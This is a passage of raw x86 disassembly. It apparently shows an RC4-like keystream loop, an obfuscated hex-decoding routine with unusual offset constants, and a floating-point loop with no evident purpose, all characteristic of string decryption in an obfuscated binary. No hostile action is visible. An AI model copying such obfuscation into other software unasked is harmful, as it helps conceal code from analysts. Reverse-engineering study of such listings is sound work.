mov byte [ebp + eax - 0x1ed8], cl
movzx edx, byte [ebp - 0x218]
movzx eax, byte [ebp + edx - 0x1ed8]
movzx ecx, byte [ebp - 0x215]
add ecx, eax
mov byte [ebp - 0x215], cl
movzx edx, byte [ebp - 0x216]
movzx eax, byte [ebp - 0x1d9]
movzx ecx, byte [ebp + eax - 0x1ed8]
movzx eax, byte [ebp - 0x1c7]
movzx eax, byte [ebp + eax - 0x1ed8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1ed8]
xor edx, ecx
movzx eax, byte [ebp - 0x1d8]
movzx ecx, byte [ebp + eax - 0x1ed8]
movzx eax, byte [ebp - 0x1e6]
movzx eax, byte [ebp + eax - 0x1ed8]
add ecx, eax
movzx eax, byte [ebp - 0x215]
movzx eax, byte [ebp + eax - 0x1ed8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1ed8]
movzx eax, byte [ebp + ecx - 0x1ed8]
xor edx, eax
mov byte [ebp - 0x1d8], dl
mov cl, byte [ebp - 0x216]
mov byte [ebp - 0x1e6], cl
mov dl, byte [ebp - 0x1d8]
mov byte [ebp - 0x27d], dl
cmp dword [ebp - 0x2f8], 0
jle 0x48e9a5
mov eax, dword [ebp - 0x2f8]
mov cl, byte [ebp - 0x27d]
mov byte [ebp + eax - 0x11d], cl
mov edx, dword [ebp - 0x2f8]
add edx, 1
mov dword [ebp - 0x2f8], edx
mov eax, dword [ebp - 0x634]
add eax, 1
mov dword [ebp - 0x634], eax
mov ecx, dword [ebp - 0x2f8]
shl ecx, 1
mov dword [ebp - 0x934], ecx
mov edx, dword [ebp - 0x938]
add edx, dword [ebp - 0x934]
movzx eax, byte [edx]
mov dword [ebp - 0x864], eax
mov dword [ebp - 0x86c], 0xa7
mov ecx, dword [ebp - 0x2f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x93c], edx
mov eax, dword [ebp - 0x938]
add eax, dword [ebp - 0x93c]
movzx ecx, byte [eax]
mov dword [ebp - 0x870], ecx
mov dword [ebp - 0x850], 0xe
mov edx, dword [ebp - 0x864]
sub edx, dword [ebp - 0x86c]
mov dword [ebp - 0x854], edx
mov eax, dword [ebp - 0x870]
sub eax, dword [ebp - 0x850]
mov dword [ebp - 0x858], eax
mov ecx, dword [ebp - 0x854]
shl ecx, 4
mov dword [ebp - 0x940], ecx
mov edx, dword [ebp - 0x858]
mov dword [ebp - 0x944], edx
mov eax, dword [ebp - 0x940]
or eax, dword [ebp - 0x944]
mov dword [ebp - 0x948], eax
mov cl, byte [ebp - 0x948]
mov byte [ebp - 0x216], cl
movzx edx, byte [ebp - 0x1e6]
mov al, byte [ebp + edx - 0x1ed8]
mov byte [ebp - 0x218], al
movzx ecx, byte [ebp - 0x1c7]
movzx edx, byte [ebp + ecx - 0x1ed8]
mov dword [ebp - 0x19b4], edx
mov al, byte [ebp - 0x1c7]
add al, 1
mov byte [ebp - 0x1c7], al
movzx ecx, byte [ebp - 0x1d9]
add ecx, dword [ebp - 0x19b4]
mov byte [ebp - 0x1d9], cl
movzx edx, byte [ebp - 0x1d9]
movzx eax, byte [ebp - 0x1e6]
mov cl, byte [ebp + edx - 0x1ed8]
mov byte [ebp + eax - 0x1ed8], cl
movzx edx, byte [ebp - 0x1d8]
movzx eax, byte [ebp - 0x1d9]
mov cl, byte [ebp + edx - 0x1ed8]
mov byte [ebp + eax - 0x1ed8], cl
movzx edx, byte [ebp - 0x1c7]
movzx eax, byte [ebp - 0x1d8]
mov cl, byte [ebp + edx - 0x1ed8]
mov byte [ebp + eax - 0x1ed8], cl
movzx edx, byte [ebp - 0x1c7]
mov al, byte [ebp - 0x218]
mov byte [ebp + edx - 0x1ed8], al
movzx ecx, byte [ebp - 0x218]
movzx edx, byte [ebp + ecx - 0x1ed8]
movzx eax, byte [ebp - 0x215]
add eax, edx
mov byte [ebp - 0x215], al
movzx ecx, byte [ebp - 0x216]
movzx edx, byte [ebp - 0x1d9]
movzx eax, byte [ebp + edx - 0x1ed8]
movzx edx, byte [ebp - 0x1c7]
movzx edx, byte [ebp + edx - 0x1ed8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1ed8]
xor ecx, eax
movzx edx, byte [ebp - 0x1d8]
movzx eax, byte [ebp + edx - 0x1ed8]
movzx edx, byte [ebp - 0x1e6]
movzx edx, byte [ebp + edx - 0x1ed8]
add eax, edx
movzx edx, byte [ebp - 0x215]
movzx edx, byte [ebp + edx - 0x1ed8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1ed8]
movzx edx, byte [ebp + eax - 0x1ed8]
xor ecx, edx
mov byte [ebp - 0x1d8], cl
mov al, byte [ebp - 0x216]
mov byte [ebp - 0x1e6], al
mov cl, byte [ebp - 0x1d8]
mov byte [ebp - 0x27d], cl
cmp dword [ebp - 0x2f8], 0
jle 0x48ec04
mov edx, dword [ebp - 0x2f8]
mov al, byte [ebp - 0x27d]
mov byte [ebp + edx - 0x11d], al
mov ecx, dword [ebp - 0x634]
add ecx, 0xb
mov dword [ebp - 0x634], ecx
mov edx, dword [ebp - 0x2f8]
add edx, 1
mov dword [ebp - 0xd3c], edx
jmp 0x48ec33
mov ecx, dword [ebp - 0xd3c]
cmp ecx, dword [ebp - 0x634]
jge 0x48f368
mov dword [ebp - 0xcd8], 0
jmp 0x48f669
mov ecx, dword [ebp - 0xcd8]
add ecx, 1
mov dword [ebp - 0xcd8], ecx
cmp dword [ebp - 0xcd8], 0x19
jge 0x48f69f
mov edx, dword [ebp - 0xcd8]
mov dword [ebp - 0xfbc], edx
cmp dword [ebp - 0xfbc], 0x19
jae 0x48f689
jmp 0x48f68f
call fcn.0051c285
nop
mov eax, dword [ebp - 0xfbc]
mov byte [ebp + eax - 0x11c], 0
jmp 0x48f65a
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x1a28], edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x1a28]
call fcn.004dd330
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x5c], eax
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x15c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xbc8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb28], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb28], xmm0
jmp 0x48f718
movsd xmm0, qword [0x5822a8]
comisd xmm0, xmmword [ebp - 0xb28]
jbe 0x48f7c9
movsd xmm0, qword [0x5820a8]
mulsd xmm0, qword [ebp - 0xb28]
mulsd xmm0, qword [ebp - 0xb28]
movsd xmm1, qword [ebp - 0xb28]
mulsd xmm1, qword [ebp - 0xb28]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b90]
mulsd xmm1, qword [ebp - 0xb28]
mulsd xmm1, qword [ebp - 0xb28]
addsd xmm1, qword [0x581ef8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xbc8]
movsd qword [ebp - 0xbc8], xmm0
movsd xmm0, qword [ebp - 0xbc8]
comisd xmm0, xmmword [0x581fa0]
jbe 0x48f7c4
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xbc8]
jbe 0x48f80a